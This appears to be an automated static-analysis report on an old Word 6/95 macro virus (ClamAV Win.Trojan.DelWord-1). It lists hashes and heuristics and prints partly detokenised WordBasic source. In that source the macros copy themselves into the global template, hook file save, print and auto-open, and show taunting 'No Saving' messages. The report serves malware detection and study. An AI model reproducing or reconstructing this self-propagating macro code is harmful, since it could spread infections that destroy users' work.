Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16ac5ed1c8af720f…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2012-06-14
MD5: 866504f3eea16bae09b3f3013ec1ae8a SHA-1: a6fd3fede2a5d51910448ed3f517bddfb7130a66 SHA-256: 16ac5ed1c8af720fde097fa4a6cc21b0b2430068e83cc9f976bf3b1a5db0c605
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of legacy macro viruses, specifically identified by the 'RSN MACRO VIRUS' marker and the embedded text. The ClamAV detection further confirms its malicious nature. The presence of WordBasic macro indicators suggests the use of Visual Basic for scripting, likely to execute its payload.

Heuristics 3

  • ClamAV: Win.Trojan.DelWord-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.DelWord-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 3024 bytes
SHA-256: d5b2036aa5af77eb611c2c31c3d1c3a9e22915fbb6cc138d9e01780e5081dbcd
Preview script
First 1,000 lines of the extracted script
, , = * , = 29551 21349          
        357 20581      
21349      
    29793 = 24943
26740 = =
MAIN
MAIN
@cmd8111 0
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8006 dlg
wordnum = 0
* es
@cmdc010
@cmd8116
@cmd001c
* start
@cmd0053
@cmd802b "Mwahahaha... Bye bye Report...I hope you didnt work on this for too long :)"
MAIN
@cmd00d1 = 0
dbox @cmd0054
dbox = 1
name$ = @cmd803b = ":FileSaveAs"
@cmd80c2 name$ , "Global:FileSaveAs"
name$ = @cmd803b = ":FileSave"
@cmd80c2 name$ , "Global:FileSave"
name$ = @cmd803b = ":FilePrint"
@cmd80c2 name$ , "Global:FilePrint"
name$ = @cmd803b = ":AutoClose"
@cmd80c2 name$ , "Global:AutoClose"
name$ = @cmd803b = ":AutoOpen"
@cmd80c2 name$ , "Global:AutoOpen"
name$ = @cmd803b = ":Payload"
@cmd80c2 name$ , "Global:Payload"
@cmd80c2 @cmd803b = ":StealthActivate" , "Global:StealthActivate"
@cmd80c2 @cmd803b = ":Fake" , "Global:Fake"
StealthActivate
MAIN
dbox @cmd0054
@cmd80f2 @cmd80f7 = 29
Payload
* no_save
@cmd80f6 @cmd80f7 = 10
@cmd802b "No Saving for you Today!"
* no_save
dbox = REM we inicialize and run the dialog box
dbox = 1
dbox = 0
dbox
@cmd80c2 "Global:AutoClose" , @cmd803b = ":AutoClose"
@cmd80c2 "Global:FileSaveAs" , @cmd803b = ":FileSaveAs"
@cmd80c2 "Global:FilePrint" , @cmd803b = ":FilePrint"
@cmd80c2 "Global:FileSave" , @cmd803b = ":FileSave"
@cmd80c2 "Global:AutoOpen" , @cmd803b = ":AutoOpen"
@cmd80c2 "Global:Payload" , @cmd803b = ":Payload"
@cmd80c2 "Global:StealthActivate" , @cmd803b = ":StealthActivate"
@cmd80c2 "Global:Fake" , @cmd803b = ":Fake"
dbox = 1 REM we are saving a template
@cmd0054 dbox REM we finally save it =
MAIN
@cmd00d1 = 0
name$ = @cmd803b = ":FileSaveAs"
@cmd80c2 name$ , "Global:FileSaveAs"
name$ = @cmd803b = ":FileSave"
@cmd80c2 name$ , "Global:FileSave"
name$ = @cmd803b = ":FilePrint"
@cmd80c2 name$ , "Global:FilePrint"
name$ = @cmd803b = ":AutoClose"
@cmd80c2 name$ , "Global:AutoClose"
name$ = @cmd803b = ":AutoOpen"
@cmd80c2 name$ , "Global:AutoOpen"
name$ = @cmd803b = ":Payload"
@cmd80c2 name$ , "Global:Payload"
@cmd80c2 @cmd803b = ":StealthActivate" , "Global:StealthActivate"
@cmd80c2 @cmd803b = ":Fake" , "Global:Fake"
StealthActivate
MAIN
@cmd80f2 @cmd80f7 = 29
Payload
* no_print
@cmd80f6 @cmd80f7 = 10
@cmd802b "No Printing Today!"
* no_print
dlg @cmd0058
dlg
dlg
@cmd0058 dlg
MAIN
dbox @cmd0054 REM we define which dialog box will appear
dbox = REM we inicialize and run the dialog box
dbox = 1
dbox = 0
dbox
@cmd80c2 "Global:AutoClose" , @cmd803b = ":AutoClose"
@cmd80c2 "Global:FileSaveAs" , @cmd803b = ":FileSaveAs"
@cmd80c2 "Global:FilePrint" , @cmd803b = ":FilePrint"
@cmd80c2 "Global:FileSave" , @cmd803b = ":FileSave"
@cmd80c2 "Global:AutoOpen" , @cmd803b = ":AutoOpen"
@cmd80c2 "Global:Payload" , @cmd803b = ":Payload"
@cmd80c2 "Global:StealthActivate" , @cmd803b = ":StealthActivate"
@cmd80c2 "Global:Fake" , @cmd803b = ":Fake"
dbox = 1 REM we are saving a template
@cmd0054 dbox REM we finally save it
MAIN
@cmd80c2 @cmd803b = ":Fake" , "Global:ToolsMacro"
@cmd80c2 @cmd803b = ":Fake" , "Global:FileTemplates"

Open this report in the interactive analyzer, or submit your own file for analysis.